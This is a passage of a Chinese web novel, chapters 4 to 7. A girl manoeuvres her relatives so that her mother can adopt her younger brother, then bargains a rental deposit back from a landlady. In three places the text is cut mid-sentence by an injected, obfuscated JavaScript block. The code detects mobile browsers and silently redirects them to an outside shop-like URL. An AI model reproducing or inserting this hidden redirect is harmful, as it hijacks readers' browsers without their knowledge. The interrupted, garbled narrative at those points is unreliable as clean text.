4. 第4章 孟娇娇今天上半天班,下午一点多就回家了,结果没在家里看到女儿。 她以为孩子去找哪个同学玩了,也没在意,自顾躺床上休息。 睡得迷迷糊糊的,忽然听见开门声。 才扭头,就看到女儿拎着一篮子鸡蛋进来。 “妈,你回来啦!” 陆淼把鸡蛋放在桌子上,拿了碗倒水喝。 “你去乡下了?” 孟娇娇看鸡蛋壳上还带着稻草和一点屎,就猜到了。 陆淼:“嗯,我和陆远一起去的,在那边吃了午饭才回来。鸡蛋是奶奶让我带回来的,她过两天去看大伯,让你也过去一起吃饭。” 孟娇娇心里犯嘀咕,前婆婆以前也没对自己有多好,怎么忽然热情起来了? 两天后的傍晚,孟娇娇拎着一点水果,带女儿一起去前夫的哥嫂家吃饭。 陆大海没来,只有李根花一人在大儿子家。 老太太个子矮小,看着也慈眉善目,但大儿媳却不敢马虎,这顿晚饭做的有鱼有肉,还挺丰盛。 陆淼一点不客气,筷子只在红烧肉和红烧鱼这两道菜上停留。 自己吃的同时,还不忘和陆远小声说:“你客气啥呀,吃什么大白菜,还没吃够呢,赶紧吃肉。” 正说着,对面陆浩然又是一筷子肉,扒拉完最后几口饭,起身去盛第三碗。 陆淼不甘示弱,跟着站起来去盛饭。 “淼淼,你这碗里还有饭呢,小孩子吃饭要吃干净,才能去盛第二碗。”大伯母秦素芬忍不住说话。 陆淼:“我长身体呢,两碗饭才够吃饱,陆浩然都去盛第三次了,我再不去搞一碗,回头连锅巴都不剩。” 陆淼说的实话,但秦素芬只觉这侄女专门在嘲讽自己。 听听,听听! 这说的什么话,今天老太太在,搁这告状是吧! 扭头就看向孟娇娇,似笑非笑,“娇啊,淼淼这些年跟着你是不是受苦了?这怎么连饭都吃不饱。” 话音刚落,陆淼“呀”了声。 她拿着锅铲,站在灶台前,一脸惊呆的模样,“陆浩然你属猪的,三碗饭就把整锅饭盛完了,你连锅巴饭都不给我留一口。” 陆浩然端着碗,那碗里的米饭压得严严实实的,像一个小山丘。 他一直习惯这样吃饭,“我家的饭,我爱怎么吃怎么吃。” “奶奶还只盛了一碗呢,她走路来你家的,肚子饿。” 说完,陆淼又回头看向孟娇娇,“妈,你干活一天了,在厂里食堂中午都吃两碗呢,晚上一碗够不够啊? “还有陆远,你没份了,最后一点锅巴我吃,我饿死了都。” 陆淼把锅铲铲的震天响,刮出来小半碗锅巴,然后若无其事回座位。 饭是吃不饱了,但是菜还有。 于是和陆浩然你争我抢,最后那点红烧肉的汤汁都不放过。 看着女儿跟饿死鬼一样抢吃的,孟娇娇心里难受又生气。 她抬头看向对面,忍不住说:“嫂子,我们一年也来不了两回,你这饭都不够吃,是不是过分了?” 其实够吃的,陆辉用的大海碗,虽然只盛了一次,但米饭压得严实,一碗顶三碗。 这是秦素芬亲自盛的。 至于她自己,虽然用的小碗,可也压得很满。 夫妻俩唯一的儿子厚脸皮,连盛三次无所谓。 这本来就是陆辉家的日常,也就陆远这个小可怜每天受折磨,被大伯母念叨太会吃。 陆淼今晚这一喊,直接打破日常。 陆辉脸颊燥热,涨红脸说不出话来。 李根花也跟着难堪,有心骂孙女嘴巴没个把门的,什么话都往外说,闹的一点脸面都不剩。 但话没开口,撇见小孙子安静吃着碗里仅剩的小半碗饭,又心疼了。 “小远,不够吃奶这里有。”李根花把自己的饭递过去。 陆远赶紧端起自己的碗,摇头,“奶奶,我够了,你吃。” “你那三两口哪里够,正长个呢。”李根花强硬分出去半碗饭。 回头,狠狠瞪了眼大儿子,“家里是穷的揭不开锅了?这么多人,烧几杯米的饭还没个数?怎么着,你老娘到你家吃一顿饭,你连这点米也给我抠搜?” “妈,哪能啊!” 陆辉满心委屈,这做饭的也不是他啊! “你怎么烧饭的,弟妹和淼淼都在,你就烧这么点?”陆辉扭头质问妻子。 秦素芬心说这不是都够吃么,他们一家三口可都能吃得饱。 再说饭桌上有鱼有肉的,还不够客气? 但面上还是歉意得很,“哎呀我这脑子,一忙起来就糊涂,按照平时习惯放了四杯米,算岔了。” “平时的量?那没我和我妈,也没我奶奶,是够了。” 陆淼接了句,又看向旁边,“陆远,你平时就只吃一碗呀?难怪长不高,瘦不拉几的。” 李根花刚消下去的火又蹭蹭蹭往上冒。 一顿饭吃得相当不愉快,只除了两个人。 一个是吃了三碗饭的饭桶陆浩然,另一个是与之一直抢肉菜的陆淼。 陆浩然虽然比陆淼大一岁,但满脑子都是吃,心眼瓷实得很。 俗称头脑简单,四肢发达。 陆淼一般不予计较,毕竟这位堂哥除了爱吃,没啥大毛病。 晚饭后,李根花喊了大儿子和前小儿媳一起商量事情。 二十分钟后,秦素芬这个大儿媳也进去房间里。 然后没一会儿,里面发生争吵,声音越来越大。 陆浩然出门找同学玩去了,陆淼拉着陆远站在窗户下偷听。 “大伯母这抠搜的,今晚算是栽了,当着奶奶的面敢饿你。” “啧,我妈的收养手续应该能顺利了。” “好家伙,还惦记着我爸那点钱……奶奶好样的,一毛钱也别给……” 陆淼一边听一边念,身后跟着的陆远却是没说话,只是脸上表情拧巴,紧张的双手开始抠指甲。 在大人们出来前,陆淼拉着陆远跑了。 “你听好了,奶奶今晚睡在大伯这里,估计和你一个屋,你就给我半夜偷偷哭,小声的,藏在被子里哭。” “啊?为什么?” “奶奶要是问你,你就说你饿,饿得睡不着。” “这不好吧,我都七岁了,多丢脸啊!” “你哭不哭?不哭你亲老子的两千块钱要被别人谋划去了。” 陆淼已经听到她妈在喊,只能再重复说道:“反正就哭,哭不出来自己拧大腿肉,咱爸不是个玩意儿,但钱是好东西。你想啊,我们住到新爸那边去本就矮一截,我妈要是手里没点钱,咱仨心里多不踏实呀。” 陆远听不太懂,但姐姐说的肯定都对。 “姐,我、我尽量。” “不是尽量,是一定,你能不能跟我妈,我妈能不能拿到那两千块,全靠你这一晚了。” “淼淼,人呢,咱们走了。”孟娇娇的声音又传来。 陆淼“哎”了声,小跑过去。 临走前,还不忘拉着李根花依依不舍,“奶奶,我跟我妈回去了啊,真舍不得你,陆远就好了,今晚还能跟你一起睡。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486764|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李根花听得心里熨贴,笑着摆手,“行了,赶紧跟你妈去公交站,晚了赶不上车。” …… 星期五放学,陆淼跟同学去图书馆,再回家的时候,比平时晚了一个多小时。 但她早就习惯了,因为星期五她妈基本上都要上夜班,家里就她一个人吃饭。 她甚至懒得烧,拿家里的挂面煮一煮,拌点辣椒酱吃完就算一顿饭。 然而今天回家,她妈竟然在。 不仅在,还在隔出来的小厨房里忙得热火朝天的。 “妈,你不上夜班啊?” 陆淼放下书包,看到买了熟食,直接解开塑料袋,捏了一块塞嘴里。 “是街口李叔那家猪耳朵店吗?他家的猪耳朵煮出来特好吃,就是他老婆抠搜,每次拌料之后再称时,都会偷摸往里舀一勺汤汁。” 陆淼边吐槽边吃,没一会儿就吃了三分之一。 孟娇娇看到也没说,甚至接了句,“锅里糖醋里脊快好了,电饭煲里蒸了蛋,你把饭先盛出来。” 一个凉拌猪耳朵,一个糖醋里脊,还有一个肉沫蒸蛋。 不过年过节的,吃这么好? 陆淼一脸狐疑,“妈,你发财了?全是荤的给我吃。” 孟娇娇夹了块糖醋里脊放女儿碗里,笑着点头,“可不么,今天一早你大伯在棉纺厂大门口等着,我看到还吓了一跳,谁知你大伯说是为了小远的事情,他们商量好同意给我养了。” 孟娇娇没想到事情突然顺利起来,“我下午特意请假,和你大伯去了街道办事处,把收养手续一应办齐全了。等下星期一,小远的户口也能迁过来。” “就我大伯一个人?”陆淼问。 孟娇娇:“哪能啊,还得你爷爷奶奶点头答应才行,办手续的时候,你奶奶在,也签了同意书按了手印的。就是你爸那两千块钱,你奶奶说只给一千,剩下的先放她那儿。” 孟娇娇心里明白,到底是前儿媳,老太太不放心。 不过她本就不惦记着前夫的钱。 陆淼也无所谓,钱不在大伯母手里捏着就行。 她爷爷奶奶拿着,那她就有办法把剩下的一千慢慢拿回来。 “陆远这小子行啊。”陆淼忽然笑道。 孟娇娇没听明白,只心里乐呵,念叨着等过完户,就赶紧挑一个黄道吉日搬到新家去。 “咱们这里小,小远搬过来没法住,还是得早点去新家。” “嗯,这事你和我爸商量呗。”陆淼专心吃肉。 孟娇娇听到“我爸”二字,起初还懵了下,回过神才知女儿说的是徐建国,心情有一点复杂。 这孩子没心没肺的,倒是不知愁。 不过也好,不惦着亲爸,也能接受后爸。 孟娇娇吃得不多,三个菜基本上都是陆淼扫荡干净的。 “我回厂里了,碗筷你洗干净记得沥水啊!”孟娇娇站起来,开始解围裙。 陆淼惊呆住,“你还上夜班啊?不是回来了么。” 孟娇娇:“请的是下午半天假,晚上夜班还轮到我。” “加班加班,有那么多活可以干吗?可恶的资本家。” “上班才有钱,不算加班费,一个月少好几十呢。” 孟娇娇笑着摸摸女儿的头发,拎着包赶紧出门。 陆淼洗了碗筷,又把锅给刷了,然后坐在饭桌前写作业。 写到一半,忽然听到敲门声。 陆淼以为她妈回来了,一边开门一边说:“这么早,不是说到十点嘛。” “姐。” 陆远站在门口,怯怯喊了声。 5. 第5章 陆淼看了眼外面,没看到她妈,这才拉着陆远进屋。 关了门,直接就问:“怎么回事?你大晚上跑这边来?” “大伯母把我赶出来了。” “嗯?” “她说我归阿姨养了,手续已经办完,和他家没关系。” “不是!大伯母脑子秀逗了?大晚上的赶亲侄子出去?大伯呢,他就不管?” “大伯开车去了,他晚上要拉货。” 陆淼点头,“懂了,老虎不在,猴子称王。” 再看对面陆远,眼睛红红的,一看就是哭过。 还穿着拖鞋。 “你自己走来的啊?” 陆远点头。 “你傻呀,被赶出来也不拿上钱包,你平时零花钱一分没有吗?” 说到这,陆淼忽然意识到不对。 大伯母这人抠搜是抠搜,但也好面子,至少在外人面前是要脸的。 怎么可能就这么大大咧咧的把侄子赶出家门。 “你小子自己偷摸跑出来的吧。”陆淼戳穿。 陆远脸一红,头埋下去。 “嗯,我自己偷偷溜出来的。吃晚饭的时候我饿,就盛了第二碗,大伯母一直念,阴阳怪气的,还说我妈,反正说的很难听……” 亲爸喝酒喝死了,亲妈改嫁不要他,把他当垃圾一样扔掉。 可再怎么样,跑掉的妈妈也是唯一的亲妈。 别人说他妈坏话,还是那种难听的恶心话,陆远心里别提多么不舒服。 越想越憋屈,越想越难受,干脆偷偷跑出来了。 “所以你就找我家来了?陆远你牛啊,从大伯家到这边,走路至少五公里呢。” 陆淼不禁竖起大拇指,感慨这小子夜间视力真不错,大晚上的竟然没有走错路。 “也不怕被人贩子抓了。” 陆淼没好气瞪了眼,起身去柜子里翻找。 最后拿出来一包半开封的桃酥,“饿死了吧,吃这个,不过有点潮了。” 陆远走了快两小时,再加上晚上本来就没吃饱,此时早已饿得不行。 什么潮不潮的,能吃就是好的。 两个桃酥全部吃完,他才算“活过来”,然后扭捏开口:“姐,我不想回去,行吗?” “那不行,这里没你睡觉的地方。” 出租屋不大,又隔了好几个功能区,睡觉的地方只有一张床,母女俩都是挤一起睡的。 陆远要是女的,那挤一晚也就算了。 可陆远是男的,别看只有七岁,个子都快一米三了。 陆淼反正不习惯,也不答应。 但是陆远再回去,这么晚公交车也没了,打车么又太贵。 再说大伯母说不定把门都关上了,陆远要进去就得拍门,指定落得一顿骂。 “离家出走”是他这个年纪能做出来的最勇敢的决定,再回去,只怕是没有这样的勇气了。 陆淼看着对方一副恐慌要哭的样子,叹气,“行了,我给你想办法,不回大伯母那。” “真的?” “假的。” 陆远鼻子一酸,真哭了。 陆淼已经站起来,披了校服外套,拿了手电筒。 “走吧,送你去睡觉。”陆淼招呼人跟上。 陆远还坐在塑料凳上,不肯起来。 陆淼:“去新爸家,徐清澜他爸,幸福里去不去?” 一边是可能被谩骂一晚上的大伯母家,一边是完全陌生的新爸家,陆远哪都不想去。 他就想待在他姐身边,只有姐姐是亲姐,是他现在的依靠。 可惜陆淼不答应,拽着人直接就走。 十分钟后,陆淼和徐清澜面对面站着,一个在门里,一个在门外。 “嗨,晚上好。”陆淼微笑打招呼。 然后伸长脖子往里看,“咱爸呢,他在家不?” 徐清澜:“我爸上夜班,还没回来。” 陆淼:“好巧哦,我妈也上夜班,说不定他俩到时候一起下班呢。” 徐清澜没接话,反问:“你们大晚上的,怎么过来了?” 陆淼:“是这样的哥,我弟心灵受创,离家出走了。我和我妈那没地方住,我就把人领咱家来了。” 陆淼边说边带陆远进屋,然后把人按在沙发上。 扭头,一脸笑容说道:“哥,你看呢,给安排在哪睡?” 徐清澜从怔愣中回神,赶紧问事情始末。 听到陆远是偷偷跑出来的,立即皱眉,“那你们大伯母那怎么交代?她找不到人,到时候着急报警,事情就闹大了。” 徐清澜的想法是,把陆远送回去。 陆淼却是摆手,“不会,我大伯母没那个细心思,肯定不知道陆远不在家。让这小子在这里睡一晚,第二天一大早再回那边,我大伯母发现不了。” “怎么进去?不是说门都关上了吗?”徐清澜疑惑。 “翻墙进去啊,这么简单一件事。”陆淼说的理所当然。 陆远听完,觉得他姐这话特别有道理。 偷偷溜回去,假装是在那边睡的,还能不挨骂。 不过,“姐,那墙头有点高,我爬不过去。” 陆淼:“放心,有我呢。” 徐清澜看着眼前姐弟二人,只觉脑瓜子嗡嗡的。 最后,徐清澜带着陆淼去小区门口小卖部,用公共电话给棉纺厂打电话。 电话转到徐建国手中,两人等了一分钟。 徐清澜长话短说,交代了陆远正在自己家里的事,然后把电话递过去,给了陆淼。 “剩下的事情你自己说。” 反正他是没答应第二天爬墙的安排。 陆淼没半点心虚,接过电话就说:“爸,上班辛苦了,你晚上几点下班啊?” 徐清澜:“?” 电话那头,徐建国却是心里火热,“哎,快了,晚上十点吧。” “我妈也上夜班呢,爸你到时候和妈一起下班呗,她一个人多不安全,爸你在旁边我心里就踏实了。” “你妈今天夜班?她不是下午回去了吗?” “就请了半天假,她舍不得加班工资。我妈下午请假就是去街道那边办收养手续,可晚上陆远就被我大伯母挤兑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486765|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他心里难受,跑来找我,可我一个孩子我也不知道啊,我就只好来找我哥了……” 一会儿“爸”,一会儿“哥”,陆淼说得太理所当然,就跟亲的没两样。 徐清澜越听越觉不对劲,这不摆明灌迷魂汤么。 奈何电话那头徐建国却是听得心头顺畅,有点飘飘然。 最后电话回到徐清澜手中,徐建国郑重叮嘱,“你是大哥,弟弟妹妹在家,你要照顾好。” “爸,我——” “行了,我食堂那边还忙呢,先不说了,就这样。” 电话挂断,徐清澜付了钱,面无表情扭头就走。 陆淼却是笑嘻嘻跟上,“爸说了,这事情他会和我妈说一声,今晚陆远就睡咱家里。” 徐清澜已经习惯杨晶晶这个妹妹的沉默寡言,以为继妹就算能说,又能叭叭到哪里去? “甘拜下风,我的好妹妹。”徐清澜没忍住。 陆淼两手插兜,走得轻快,“哥你也挺厉害,一直考年级前三呢。” 徐清澜:“……”咱们说的是一个事么! 两人回家,徐清澜安排陆远睡上铺,帮忙拿了枕头被子。 得亏眼下还不到十月,秋老虎依旧很猛,随便一条毯子盖一下就行。 陆淼看弟弟妥当了,起身准备告辞。 陆远急了,拉着姐姐校服不肯松手,“姐,你不睡这里?” 陆淼:“我为什么要睡这里,我又不是没地方住。” “可是姐,我、我有点怕。” 新家里,不管人还是物,全都是陌生的。 陆淼把衣服抽出来,“睡吧你,小孩子想那么多干什么。你甭给我委屈巴拉的哭,我要回去。” 弟是亲弟,但就是个弟弟。 陆淼心里排序,自己第一,亲妈第二。 但凡让她心里不爽或者不愿的事情,那是绝不会勉强做的。 陆远七岁,一个人住在新家确实挺可怜。 但,和她有什么关系? 她只是姐,又不是妈。 哎,要是她妈,这会儿肯定心软,得答应留下。 陆淼想到孟娇娇,心里叹气:被渣男伤害那么深的女人,怎么还这么容易心软呢。 “行了,你赶紧睡,明天早上六点,我在小区大门口等你。” 虽然不“陪睡”,但送人回去这事,她还是说话算数的。 徐清澜已经打开门,目送陆淼走出去后,转身和家里两个小孩交代,“我送陆淼回去,你们在家先睡,钥匙我带了,别给陌生人开门。” 不一会儿,徐清澜追上,走到陆淼旁边。 “你出来干什么?大晚上的。”陆淼不明所以。 徐清澜:“你也说大晚上了,你一个女生独自回家,不安全。” “就两条街,走过去不到十分钟。” “那也是十分钟的路程,你现在是我妹妹。” 陌生人,他没这个热心肠,但陆淼不是,他们已经是家人了。 陆淼有点意外,继哥还挺有当哥的样子嘛。 两人没说话,一路沉默往前走。 6. 第6章 陆淼回家继续写作业,直到孟娇娇下班回来才停下。 母女俩聊了会儿天,陆淼对陆远的形容,完全就是个小可怜。 孟娇娇只觉孩子受委屈,心疼得很,倒是忘了再问别的事情。 第二天,早上五点五十分。 陆淼走到幸福里小区大门口,却见那里站着两个人。 除了陆远,还有徐清澜。 等人走近,徐清澜说道:“我跟你们一起去。” “帮忙翻墙?”陆淼笑着问。 徐清澜:“……” 陆淼笑得更开,带陆远走去旁边早餐店买包子。 三个人拿着早饭站在公交车站等,六点零五分,车慢悠悠驶来。 六点四十五,陆远顺利“进家门”。 陆淼完成任务,转身往外走。 两人再次坐公交车回去,在幸福里小区站牌下车,然后各回各家。 陆淼开门进屋,孟娇娇正好起来,“小远回去了?你大伯母有没有说什么?” 孟娇娇潜意识想法,人是正常走进家门的。 陆淼张口就来,“还能说什么,大伯母的性格你又不是不知道,顶多阴阳怪气骂几天呗。反正陆远住那边几个月,那些话估计都听了好几个来回,早就习惯了。” “再习惯,那也是难听话,小远还小。” “嗯嗯,还小,我还担心他在新家第一晚尿床,那可就尴尬了。” 陆淼也是今早想起来这茬,生怕陆远半夜淋徐清澜一脸。 真要如此,这继兄弟的关系以后可就尴尬了。 她这个带人过去的“中间人”,也不好“做人”。 感恩,昨晚一切安然无恙。 孟娇娇因着这件事,对于接孩子回家更上心。 星期一迁完户口,立即拉着徐建国去找人算吉日。 近一个月有两个吉日,一个是国庆十月三号,还有一个就是本周周三。 孟娇娇怕孩子在大伯家再受委屈,于是决定星期三搬家。 “这么快?” 陆淼正吃饭,听到这话不禁抬头。 孟娇娇:“早晚得搬,也不差这两天了,先帮小远收拾下送过去,我们这边再慢慢打包。” “妈,咱们这里房租到几月份?” “下个月的还没交,不过先前租房子时,在房东那压了一个月的押金。” “那我们明后天搬了,这个月还剩三天吧,正好。” “嗯,我也是想到房租的事情,所以打算星期三搬家。到时候,我去找房东说一下。” 陆淼心思一转,说道:“妈你上班忙,下班又要搬东西,退租的事情我去和房东说。” 女儿独立惯了,孟娇娇一点不担心,稍微一想就点头答应。 星期三中午,徐清澜再次到初二(3)班找陆淼,两人说了搬家的一些事情。 末了陆淼提了句,“对了哥,下午放学,你和我一起呗。” 徐清澜点头,“我爸借了辆三轮车,你们那边小件的行李和东西,我们先运过去。” 陆淼:“行,那放学一起走。” 徐清澜以为是简单的搬运东西,却不想推着三轮车去继妹的出租房,首先第一件事,就是陪对方去房东家。 “讨钱?”徐清澜一脸懵。 陆淼:“准确的说是退租,然后拿回属于我们的押金。” “那怎么说是讨钱?” “你不知道,我们那个房东特爱占便宜,之前有租他们家房子的租客退租,明明房子没啥问题,房东硬是找各种理由,扣了大半押金。” 陆淼不想被扣钱,虽说住的是城中村破烂房,但一个月房租也要五十块钱呢。 一个肉包五毛,五十元都可以买一百个包子了。 两人边走边说,刚走到楼底下,就看到对面小巷子里拐出来的老太太。 陆淼立即打招呼,喊道:“李奶奶,我们来退房了,顺便拿回之前押在你那的一个月押金。” 房东李老太,五十来岁的年纪,讲着一口淮宁方言。 看来人是两个小孩,立即就说:“你们退房也不早点跟我讲的喽,下一个租客什么时候也不知道,我房子都要空起来嘞,平白少了好几个月房租呢。 “退房就退房,钥匙给我么好嘞,押金是不给退的,你们得补我损失。” 陆淼一听就不高兴,老太婆胡说八道,蛮不讲理。 “李奶奶,做人要讲道理的好伐,我们退房已经提前一个礼拜说过了。当初租房的时候,你也说随时都能退的,不影响。” “哪有说过这话,小孩子就爱胡说。还有啊,你们在那个屋子烧饭,弄得一股子油烟味道,我房子都不好租呐,我还没找你们赔钱呢。” “哎哟李奶奶,你厉害的哟,那小厨房我们住进去的时候就乌漆嘛黑了,你们家一直都这么租房的,所有租客都这么做饭,你说没关系的。” “哪能没关系,我那是好心,哪想到你们这么乱搞,回头重新出租还要再刷一遍白,要花钱的……” 老太太说一句,陆淼反驳一句,两人就在楼底下吵起来。 不多时,周围邻居围过来,吃瓜看热闹。 陆淼早就习惯这场面,甚至越吵越勇,拉着街坊邻居哭诉。 “姨,你也晓得呐,我和我妈都是老实人,哪里会乱来的嘛。 “我妈每个月就赚那么点工资,供我吃供我喝,现在还要养我弟,五十块呐,够我们一家吃三个月早饭了。 “姨你是不知道,我们每天早上都吃咸菜稀饭的,可不敢乱花钱,李奶奶现在张口就要扣我们一个月押金,我们明明什么也没做错……” 在老太太拍大腿哭闹前,陆淼已经拉着一众邻居示弱。 委屈巴巴,活像个受欺负的小可怜。 说到最后,又是一句,“我们今天就搬走了,这还没到月底呢。剩下的几天房租费我们也不要了,但押金钱总得还给我们吧。” 陆淼扭头,又说:“李奶奶,你又不止租我们一家,你每家扣押金,这一年到头又赚好几百呢。” 城中村的房子破烂,但胜在交通便利。 这里的本地住户,大多都是有好几间房子的,有些是连着的平房,有些是早年造的二层小楼房。 他们大多选择一家人挤在一个大房间里,其余的房间全部租出去。 陆淼偷偷算过,像租给她们房子的这户人家,一个月收租金就有四百。 如果还有临街的房子租出去当铺面,那租金就更高了。 别看是城中村,住的破烂,实际上一点都不穷。 陆淼拉着几个平时和房东老太太有竞争关系的大爷大妈,请求外援。 事情闹得不小,热闹看得挺大。 最后在众人联合唾沫之下,陆淼拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486766|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来四十五块钱。 “我就知道,抠搜老太婆死也要扣下来一点,算了,懒得扯皮,少五块就五块吧。” 也在她的预估损失内。 徐清澜全程都是透明人,更像是一个看热闹的。 这会事情结束,他更沉默了。 陆淼把钱塞进口袋,抬头看过去,“傻眼了?没看过这场面?” 徐清澜摇头,“确实没见过,没想到你还有这么个本事。” 他只以为陆淼很活泼,万万没想到,竟然如此活泼。 “你眼泪怎么说有就有?还有,那些邻居都是看热闹的,你怎么就确定他们能帮你?” “哭不是本能么,人本来就会哭会笑,这不是很简单?” 陆淼不以为意,前世她哭戏可是一流,要不是最后病死了,还想去试试能不能当个演员。 就算是从群演做起,好歹也能养活自己。 当然,这辈子能身体健康好好读书上学,那还是先圆了自己大学梦要紧。 陆淼:“人都这样,看热闹不嫌事大。尤其吧,大多数人还有一个特点,那就是喜欢看别人吃亏,只要别人亏了,那就是自己赚了。 “我拉的那几个大爷大妈,都是这片租房的房东,李家口碑不好闹出事情多,那租他们房子的租客不就变多了?” 都是差不多的房租,环境也一样。 租客之所以选择不同,也就是房东好不好说话这一点。 徐清澜帮忙搬运两趟,第三趟装好准备走时,他忽然想明白过来。 “你专门在那等房东的?不是凑巧。” 陆淼给绳子打了个结实的结,点头,“我又不傻,上他们家要钱,那不明摆着让人坑么,那是人家的地盘。” 楼底下巷口街道,人来人往的,这多好办事呀。 为了摸清楚房东老太太的回家时间点,她可是付出了五根棒棒糖,五根! “啧,小屁孩就是嘴馋,吃这么多糖早晚蛀牙。”陆淼嘟囔一句。 徐清澜没听清,只专注骑三轮车,这是最后一趟。 他们这边把小件算是搬完了,等父母上完夜班回来,只需把剩下的柜子桌子搬回家就行。 兄妹俩合作,效率很高。 晚上六点半,陆淼整理完自己的东西,徐清澜刚好炒完菜。 清炒土豆丝,凉拌黄瓜,小葱炒鸡蛋。 “吃饭了,大家自己盛饭。”徐清澜招呼道。 陆远和杨晶晶还杵着没动,陆淼已经先一步走过去。 拿碗筷,给自己盛了满满一碗白米饭。 “饿死我了,我要吃三碗。” 陆淼坐在方桌一个边,第一筷就是夹炒鸡蛋。 吃了两口抬头看,一脸纳闷,“你俩不饿呢?就站那儿看我们吃?” 徐清澜已经盛好三碗饭,看着局促的弟弟妹妹,再看完全自来熟的大妹,不禁叹气。 外向的太外向,内向的太内向。 “小远,晶晶,过来吃饭了。”徐清澜冲两人招手。 陆淼边吃边点头,“你们赶紧吃,咱哥这个抠搜的,三盘菜炒的平平,肯定不够,等会儿没菜下饭了。” 说完又是一筷子,夹的依旧是炒鸡蛋。 三个菜,先从最好吃的开始,吃得差不多了,再尝其他菜。 这是陆淼一贯原则,资源有限的情况下,优先满足自己。 7. 第7章 晚上,徐建国和孟娇娇下夜班。 两人第一次一起回家,回的还是共同的家,心里都很高兴。 但再怎么内心火热,面上还是装作若无其事的样子。 徐建国骑着二八大杠,一路上好几次想要说话,但话到嘴边又不知道说什么。 孟娇娇则是干活干累了。 以往回家都要等公交车,而且不是直达,她总担心走回出租屋的那段路,大半夜的遇上点什么事。 每次夜班后回家,对别人来说是轻松自在的欢快,于她而言却依旧精神紧绷。 但今晚不一样,她坐在徐建国的自行车后座,抓着这个男人的腰,把头轻轻靠在对方背上。 她不再担惊受怕,可以放任自己好好休息。 “吱——” 自行车刹车停下。 孟娇娇恍然回神,她竟然快要睡着了。 “娇娇,快到家了。” 徐建国停车,眼前不远就是幸福里小区。 孟娇娇“嗯”了声,跳下自行车,两人并排往里走。 徐建国锁车,孟娇娇从包里拿出钥匙开门,本以为孩子们都睡了,却不想客厅里灯光敞亮。 “妈,你回来了!” 陆淼扭头,看到孟娇娇站在门口,立即笑眯眯打招呼。 瞥见后面站着的徐建国,又喊了声“爸”。 “哎,淼淼。” 徐建国搓着手笑呵呵,尤其看到儿子和继女挨着一起写作业的场景,只觉温馨。 “学这么晚,饿不饿?” 徐建国拿起柜台上的三轮车钥匙,准备去一趟城中村,他得把剩下的家具搬回来。 孟娇娇想要跟着一起,“我也去。” 徐建国:“你在家吧,给俩孩子做点宵夜吃,你自己也吃点。” 孟娇娇想着徐建国搬家回来估计也饿,自己在家里做宵夜,到时候正好大家都能吃上。 于是也没拒绝。 徐清澜跟着徐建国一起出去,说是要帮忙。 陆淼停了学习,站在厨房门口看她妈忙活。 厨房小得很,陆淼只能陪着说说话。 “妈,你做什么好吃的?” “还有点挂面,我洗点菜一起煮,没小葱了,调一个蒜蓉汤汁?” “都行,我无所谓。” 陆淼说着,又看了眼卧室方向,早在一个小时前,杨晶晶和陆远就上床了。 杨晶晶不知道,但陆远,陆淼非常了解其尿性。 于是蹑手蹑脚走到床边,抬手扯了下毯子。 陆远转过身,睁开眼看。 借着客厅的亮光,陆淼清楚看到弟弟黝黑清澈的大眼睛。 这小子哪有半点睡意。 “妈煮了面条,吃不吃?” 陆远第一次在新家吃晚饭,不同于他姐那雷厉风行的扫荡“技术”,他就没吃几口菜,米饭也吃得含蓄。 “我……” “别说你不饿,你晚上吃的还没之前在大伯母家来得多。” 陆淼就很纳闷,陆远小小年纪哪来的这么多要面子? 饿了就吃,吃饱为止,这不是人的本能吗? 小屁孩儿装什么矜持。 “吃不吃?我最后再问你一次。” 陆远纠结一会儿,饥饿感更强烈了,尤其从厨房飘出来的蒜蓉香味直钻鼻孔。 “姐,我、我吃一点点。” 陆淼点头,又推开门去里间。 同样的操作手法,同样的问话,但是杨晶晶一直侧躺着,没有转过来。 陆淼可不管对方是不是装睡,自己尽到叫的责任,这就算完事了。 徐建国和徐清澜再回来,家里多了一张桌子,还有一个一米多高的长条柜子。 客厅不算大,但之前摆的东西太少,显得很空旷。 如今多了这两样,反而有点家的拥挤感。 “这张桌子有点矮,当初买来的时候就贪它便宜。”孟娇娇摸着竹制的矮方桌说道。 徐建国端着面条正在吃,听到这话就说:“也好用的,回头我给底下四个脚加高一下。” “加高后稳不稳?我们四个一起写作业,挤一张桌子难受,能分开两张桌子最好不过。”陆淼在这张矮桌上写作业好几年,对此实在讨厌。 她甚至已经想好,以后写作业,她只坐好的那张四方桌。 至于矮桌,谁爱坐谁坐。 孟娇娇却是想到一点,“建国,别加高了,这个高度给小远和晶晶写作业正好,淼淼和清澜用高的那张,正好分开。” “晶晶呢?”徐清澜抬头,在客厅里寻找妹妹的身影。 陆淼喝完汤,打了个饱嗝,“叫过她了,没应,估计睡着了。” 